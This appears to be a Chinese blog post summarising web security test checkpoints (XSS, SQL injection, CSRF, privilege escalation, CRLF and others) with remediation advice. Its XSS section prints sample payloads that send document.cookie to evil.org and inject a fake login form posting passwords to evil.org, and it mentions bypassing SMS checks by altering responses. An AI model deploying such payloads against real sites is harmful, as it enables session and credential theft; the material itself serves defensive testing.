`
hbxflihua
  • 浏览: 661031 次
  • 性别: Icon_minigender_1
  • 来自: 杭州
社区版块
存档分类
最新评论

WEB安全测试要点总结

阅读更多
一、大类检查点:
 

大类

细项

上传功能

绕过文件上传检查功能

上传文件大小和次数限制

注册功能

注册请求是否安全传输

注册时密码复杂度是否后台检验

激活链接测试

重复注册

批量注册问题

登录功能

登录请求是否安全传输

会话固定

关键Cookie是否HttpOnly

登录请求错误次数限制

记住我功能

本地存储敏感信息

验证码功能

验证码的一次性

验证码绕过

短信验证码轰炸

忘记密码功能

通过手机号找回

通过邮箱找回

密码安全性要求

密码复杂度要求

密码保存要求

横向越权测试

请测试所有接口越权情况

纵向越权测试

请测试所有接口越权情况

XSS测试

反射型XSS

存储型XSS

DOMXSS

SQL注入测试

SQL注入测试

写接口限制测试

写接口限制测试

CSRF测试

CSRF测试

敏感信息泄露

SVN信息泄露

页面泄露敏感信息

目录遍历

目录遍历

CRLF测试

CRLF测试

任意文件读取

任意文件读取

URL重定向测试

URL重定向测试

点击劫持ClickJacking

页面点击劫持

XXE

XXE测试

SSRF

SSRF

CORS问题

CORS问题

 
二、测试项详细说明

上传功能

  •  绕过文件上传检查功能
  •  上传文件大小和次数限制

注册功能

  • 注册请求是否安全传输
  • 注册时密码复杂度是否后台校验
  • 激活链接测试
  • 重复注册
  • 批量注册问题

 登录功能

  • 登录请求是否安全传输
  • 会话固定:Session fixation attack(会话固定攻击)是利用服务器的session不变机制,借他人之手获得认证和授权,然后冒充他人。
  • 关键cookie是否HTTPONLY:如果Cookie设置了HttpOnly标志,可以在发生XSS时避免JavaScript读取Cookie。
但很多Cookie需要给前端JS使用。所以这里只需要关注关键Cookie,即唯一标识用户及登录状态的会话标识需要添加这个属性。
登录请求错误次数限制
“记住我”功能:勾选“记住我”后,Cookie中记录了用户名和密码信息。。。
本地存储敏感信息

 验证码功能

  • 验证码的一次性
  • 验证码绕过
  • 短信验证码轰炸:如果这个接口没有限制策略,就会被人恶意利用
 

忘记密码功能

  • 通过手机号找回:不过由于程序设计不合理,导致可以绕过短信验证码,从而修改别人的密码。(使用burpsuite抓包,修改响应值true)
  • 通过邮箱找回

密码安全性要求

  • 密码复杂度要求
  • 密码保存要求

 横向越权测试

  • 不同用户之间session共享,可以非法操作对方的数据。

纵向越权测试

  • 很多应用简单的通过前端判断,或者低权限角色看不到对应的菜单,但并未在后台去做当前登录用户是否有权限。
XSS测试
  • 跨站脚本攻击(Cross Site Scripting):恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
  • 反射型XSS:

利用请求参数param2,进行XSS注入,设置js等可执行或可跳转语句。param2=<script>document.write(‘<imgsrc=”http://evil.org?grabcookie.jsp?cookie=’+encodeURI(document.cookie)+'”/>’)</script>。

这个网站的已登录用户去点击,cookie会被发送到 evil.org 上去。

处理意见:对特殊字符转义输出,特别是'”<>这几个。
  • 存储型XSS:
 在论坛上发表帖子,假设论坛有漏洞,可以在帖子中注入下面的JS内容:
<script>
document.body.innerHTML=”<h1>PleaseLogin</h1><form
action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text
name=user><br>Password:<inputtype=text name=password></p><input type=submit
name=login></form>
</script>
当其他用户浏览该帖子时,就会弹出登录框,如图(用户名+密码登陆界面)。
这是页面中注入的XSS生成的,如果您输入了账号密码,那就被发送给黑客了。
处理意见:对特殊字符转义输出,特别是如下几个'”<>
  • DOM型XSS
基于DOM型XSS样例,相比较与Reflected、Stored XSS属于server side execution issues而言,DOM based XSS 是client(browser)side execution issue。
Step1:如下面请求的hash部分,由客户端JS动态执行产生XSS注入。
http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert(‘xss’)\u003e
Step2:动态生成:<divid=”m”><iframeonload=”alert(‘xss’)”></iframe></div>
这个比较难测试,一般需要阅读页面中的JS代码,去分析。没有固定的测试步骤,还是需要大家自己多学习。不作为强制项,WebInspect扫过即可。
处理意见:对特殊字符转义输出,特别是'”<>。

SQL注入测试

SQL注入攻击的基本原理是通过构建特殊的输入参数,迫使后台数据库执行额外的SQL语句,从而达到获取数据库数据的目的。
这些输入参数往往包含恶意的SQL注入语句,后台处理程序没有对这些参数进行过滤,且所使用的数据库查询手段为拼接方式,进而导致敏感数据外泄。
在动态构造SQL语句的过程中,除了特殊字符处理不当引起的SQL注入之外,错误处理不当也会为Web站点带来很多安全隐患。
最常见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的重要线索。
在SQL注入的过程中,如果Web服务器关闭了错误回显,那么是不是就安全了呢?答案显然是否定的,攻击者仍然可以通过 “盲注”技巧测试SQL命令是否注入成功。
所谓”盲注”就是在服务器没有错误回显时完成的注入方式,攻击者必须找到一个方法来验证注入的SQL语句是否执行。
 
“盲注”主要分为两种类型:基于时间的盲注和布尔盲注。
测试方法(黑盒):sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,
测试方法(白盒):如果项目的数据库持久层框架是mybatis,并且他的sqlmap中编写方式都是使用#{xxx}方式,而非使用${xxx}方式,就不存在SQl注入问题。
注:sqlMap中尽量不要使用$;$使用的是Statement(拼接字符串),会出现注入问题。#使用的是PreparedStatement(类似于预编译),将转义交给了数据库,不会出现注入问题;前者容易出现SQL注入之类的安全问题,所以mybatis推荐使用#。

写接口限制测试

比如:找回密码的邮件。多次调用,造成邮件轰炸。
新增的接口,如写文章、上传文件等。这些接口如果没有任何限制,那么恶意用户使用程序无限循环的调用接口,就会写入大量的数据。通过并发、循环方式上传大量文件,填满磁盘,消耗服务器资源。
修复建议:对写入量大的接口(如上传)做必要的限制。

CSRF测试

CSRF(Cross-site requestforgery),中文名称:跨站请求伪造。用户C在为退出A的情况下,浏览B,B使用C的session非法访问A。
检查:
Ø  是否有防御CSRF的随机数。验证码、csrf_token等都是。 有则 (通过)
Ø  是否验证referer。有则(通过)
Ø  请求的参数均可推测,无CSRF防御机制。(不通过)
测试中,需要对所有写接口检查,可以采用如下方式,记录接口,标记是否已检查。
修复建议:
Ø  方法1:验证码
验证码制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制CSRF攻击。
但是这种方式易用性方面似乎不是太好,并且对于简单的图形验证码也有很多绕过机制。防御CSRF的一种辅助手段
Ø  方法2:Referer 验证
当浏览器发送一个HTTP请求时一般都会在Referer中表明发起请求的URL。
通过Referer我们可以通过判断一个请求是否为同域下发起的来防御CSRF,但是Referer可能会包含一些敏感信息甚至在某些情况下能够被伪造。
因此我们无法依赖于Referer来作为防御CSRF的主要手段,但是可以通过Referer来监控CSRF攻击的发生。
Ø  方法3:Token验证
在请求原参数不变的条件下,新增了一个随机的、不可预测参数Token是目前最普遍有效的方式。
后端在对数据处理前会首先对Token参数进行验证,只有用户请求中的Token与用户Session(或Cookie)中的Token一致时,才会认为请求是合法的。
由于Token的存在,攻击者就无法构造一个完整的请求实施CSRF攻击,从而保证了网站或系统的安全。

敏感信息泄露

SVN信息泄露:有数据库账号和密码等信息;
页面泄露敏感信息:有些WEB应用,在返回给客户端的响应中,包含了敏感信息,例如密码。

 目录遍历

在web应用中,如下图所示的显示目录文件列表,会带来一定的安全隐患(服务器文件列表)。

 CRLF

CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤导致的。
修复建议:过滤CR和LF字符。或者转义。

任意文件读取

URL重定向

点击劫持ClickJacking

XXE

SSRF

CORS问题

 
 
分享到:
评论

相关推荐

    web安全测试要点总结

    一个完整的Web安全体系测试可以从部署与基础结构,输入验证,身份验证,授权,配置管理,敏感数据,会话管理,加密,参数操作,异常管理,审核和日志记录等几个方面入手。

    华为HCIP-222考试要点总结

    对于HCIP-222的考试要点的总结,包括MPLS/MPLS VPN技术、DHCP协议、镜像技术、eSight基本功能、Agile Controller产品特性、QoS技术、网络安全基础、VRRP协议、BFD协议、SDN/VXLAN/NFV协议。

    网络安全思维导图

    Web安全 JavaWeb简介.png Maltego使用导图.jpg Nmap.png PHP源码审计.png Python系统审计.jpg WEB2HACK.jpg Web安全.png Web安全技术点.jpg Web服务器入侵防御.jpg Web攻击及防御技术.png XSS利用架构图....

    软件测试经典面试题 (超实用)

    37、简述软件系统中用户文档的测试要点? 11 38、单元测试主要内容是什么? 11 39、如何理解强度测试? 13 40、如何理解压力、负载、性能测试测试? 13 41、什么是系统瓶颈? 13 42、文档测试主要包含什么内容? 13 ...

    ASP.NET4高级程序设计(第4版) 3/3

    1.1.2 要点2:ASP.NET是编译执行的,而不是解释执行的 3 1.1.3 要点3:ASP.NET支持多语言 4 1.1.4 要点4:ASP.NET运行在公共语言运行库内 6 1.1.5 要点5:ASP.NET是面向对象的 7 1.1.6 要点6:ASP.NET支持...

    软件测试入门(必看)

    十 基于Web的系统测试方法 44 10.1 功能测试 45 10.1.1 链接测试 45 10.1.2 表单测试 45 10.1.3 Cookies测试 45 10.1.4 设计语言测试 45 10.1.5 数据库测试 46 10.2 性能测试 46 10.2.1 连接速度测试 ...

    网络安全检查通知.doc

    ) 唐山市路南区2011年网络与信息 安全检查方案 为做好2011年全区网络与信息安全检查工作,依据《唐山市2011年网络与信息安全 保障工作要点》和《唐山市2011年网络与信息安全检查方案》,制定本方案。 一、检查目的 ...

    软件测试必看 入门级的教程

    十 基于Web的系统测试方法 44 10.1 功能测试 45 10.1.1 链接测试 45 10.1.2 表单测试 45 10.1.3 Cookies测试 45 10.1.4 设计语言测试 45 10.1.5 数据库测试 46 10.2 性能测试 46 10.2.1 连接速度测试 ...

    ASP.NET4高级程序设计第4版 带目录PDF 分卷压缩包 part1

    1.1.2 要点2:ASP.NET是编译执行的,而不是解释执行的 1.1.3 要点3:ASP.NET支持多语言 1.1.4 要点4:ASP.NET运行在公共语言运行库内 1.1.5 要点5:ASP.NET是面向对象的 1.1.6 要点6:ASP.NET支持所有的...

    IIS6.0 IIS,互联网信息服务

    效果的测试:打开IE浏览器,在地址栏输入“192.168.0.1”之后再按回车键,此时就能够调出你自己网页的首页,则说明设置成功! 注:具体不同的电脑会有不同的选项名称,但大体上还是可以找到了(多试一下)。 二、...

    亮剑.NET深入体验与实战精要2

    7.9 如何保证Web Service的安全 299 7.9.1 通过SoapHeader来增强 Web Service的安全性 299 7.9.2 采用SSL实现加密传输 302 7.9.3 访问IP限制 315 7.10 Web Service开发中需要注意的问题 316 本章常见技术面试题 320 ...

    亮剑.NET深入体验与实战精要3

    7.9 如何保证Web Service的安全 299 7.9.1 通过SoapHeader来增强 Web Service的安全性 299 7.9.2 采用SSL实现加密传输 302 7.9.3 访问IP限制 315 7.10 Web Service开发中需要注意的问题 316 本章常见技术面试题 320 ...

    2017最新老男孩MySQL高级专业DBA实战课程全套【清晰不加密】,看完教程月入40万没毛病

    13-MySQL主从复制从库只读案例实战及原理总结.avi 14-企业生产场景MySQL主从复制故障原因及实战解决.avi 15-从库开启BINLOG原因及开启实战讲解1.avi 16-从库开启BINLOG原因及开启实战讲解2.avi 17-企业场景一主多从...

    PHP程序开发范例宝典III

    2000/Windows 2003 Server/Linux/UNIX下测试通过。 PHP程序开发范例宝典 目录 第1章 PHP的运行环境配置 1 1.1 Windows下环境配置 2 实例001 Windows下Apache的安装配置 2 实例002 Windows下MySQL...

    万岳在线教育系统源码v1.1.4 ManyuehOnlineEducationSystem.rar

    主讲老师线上授课,辅导老师协助主讲老师答疑督学、维持课堂纪律、总结知识要点、发布重要提醒,构建高效有序的授课直播环境。 功能模块:直播授课、课件共享、连麦互动、教学白板、课堂练习、屏幕共享 内容...

    Visual C++ 2005入门经典--源代码及课后练习答案

    10.5 测试扩展的类 555 10.6 调试动态内存 558 10.6.1 检查自由存储器的函数 558 10.6.2 控制自由存储器的调试操作 559 10.6.3 自由存储器的调试输出 561 10.7 调试C++/CLI程序 566 10.8 小结 575 第...

Global site tag (gtag.js) - Google Analytics